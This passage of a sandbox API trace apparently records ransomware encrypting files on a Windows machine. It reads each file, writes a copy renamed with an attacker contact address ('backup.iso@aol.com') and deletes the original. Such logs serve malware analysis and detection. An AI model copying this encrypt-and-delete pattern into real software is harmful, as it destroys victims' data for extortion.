"c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2c8 [0088.987] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x9c, lpOverlapped=0x0) returned 1 [0088.990] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xa0, lpOverlapped=0x0) returned 1 [0088.991] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0088.991] CloseHandle (hObject=0x2f4) returned 1 [0088.991] CloseHandle (hObject=0x2c8) returned 1 [0088.994] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0088.995] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0088.996] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=577) returned 1 [0088.996] CloseHandle (hObject=0x2c8) returned 1 [0088.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0088.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0088.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0088.996] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0088.996] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.997] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.997] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f4 [0088.997] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x241, lpOverlapped=0x0) returned 1 [0089.001] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x250, lpOverlapped=0x0) returned 1 [0089.003] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x112, lpOverlapped=0x0) returned 1 [0089.003] CloseHandle (hObject=0x2c8) returned 1 [0089.003] CloseHandle (hObject=0x2f4) returned 1 [0089.005] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0089.017] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.018] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=74) returned 1 [0089.018] CloseHandle (hObject=0x2f4) returned 1 [0089.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0089.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0089.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0089.019] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.019] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0089.019] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0089.019] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2c8 [0089.019] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4a, lpOverlapped=0x0) returned 1 [0089.021] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x50, lpOverlapped=0x0) returned 1 [0089.022] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0089.022] CloseHandle (hObject=0x2f4) returned 1 [0089.022] CloseHandle (hObject=0x2c8) returned 1 [0091.228] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0091.229] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0091.230] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=129) returned 1 [0091.230] CloseHandle (hObject=0x2c8) returned 1 [0091.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0091.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0091.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0091.230] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0091.230] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.230] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.230] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x324 [0091.231] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x81, lpOverlapped=0x0) returned 1 [0091.234] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x90, lpOverlapped=0x0) returned 1 [0091.235] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0091.235] CloseHandle (hObject=0x2c8) returned 1 [0091.235] CloseHandle (hObject=0x324) returned 1 [0091.244] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0091.245] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0091.246] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=0) returned 1 [0091.246] CloseHandle (hObject=0x324) returned 1 [0091.247] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0091.247] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=7567) returned 1 [0091.247] CloseHandle (hObject=0x324) returned 1 [0091.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0091.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0091.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0091.248] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0091.248] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.248] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.248] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0091.251] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x1d8f, lpOverlapped=0x0) returned 1 [0091.254] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x1d90, lpOverlapped=0x0) returned 1 [0091.256] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0091.256] CloseHandle (hObject=0x324) returned 1 [0091.256] CloseHandle (hObject=0x2c8) returned 1 [0091.795] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0091.797] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0091.797] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=6309) returned 1 [0091.797] CloseHandle (hObject=0x2c8) returned 1 [0091.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0091.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0091.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0091.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0091.798] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.798] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0091.805] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x18a5, lpOverlapped=0x0) returned 1 [0091.807] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x18b0, lpOverlapped=0x0) returned 1 [0091.808] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0091.808] CloseHandle (hObject=0x2c8) returned 1 [0091.808] CloseHandle (hObject=0x328) returned 1 [0091.821] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0091.823] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.824] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=60816) returned 1 [0091.824] CloseHandle (hObject=0x328) returned 1 [0091.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0091.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0091.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0091.824] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.824] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.824] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0091.824] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0091.825] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xed90, lpOverlapped=0x0) returned 1 [0091.829] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xeda0, lpOverlapped=0x0) returned 1 [0091.831] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0091.831] CloseHandle (hObject=0x328) returned 1 [0091.831] CloseHandle (hObject=0x2c8) returned 1 [0092.265] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0092.267] SetEvent (hEvent=0x2cc) returned 1 [0092.268] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0092.269] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=3726) returned 1 [0092.269] CloseHandle (hObject=0x2c8) returned 1 [0092.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0092.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0092.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0092.270] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0092.270] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0092.270] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0092.270] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0092.316] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xe8e, lpOverlapped=0x0) returned 1 [0092.325] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xe90, lpOverlapped=0x0) returned 1 [0092.327] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0092.327] CloseHandle (hObject=0x2c8) returned 1 [0092.328] CloseHandle (hObject=0x324) returned 1 [0092.338] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0092.340] SetEvent (hEvent=0x2cc) returned 1 [0092.340] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0092.341] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=18264) returned 1 [0092.341] CloseHandle (hObject=0x324) returned 1 [0092.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0092.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0092.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0092.341] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0092.342] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: 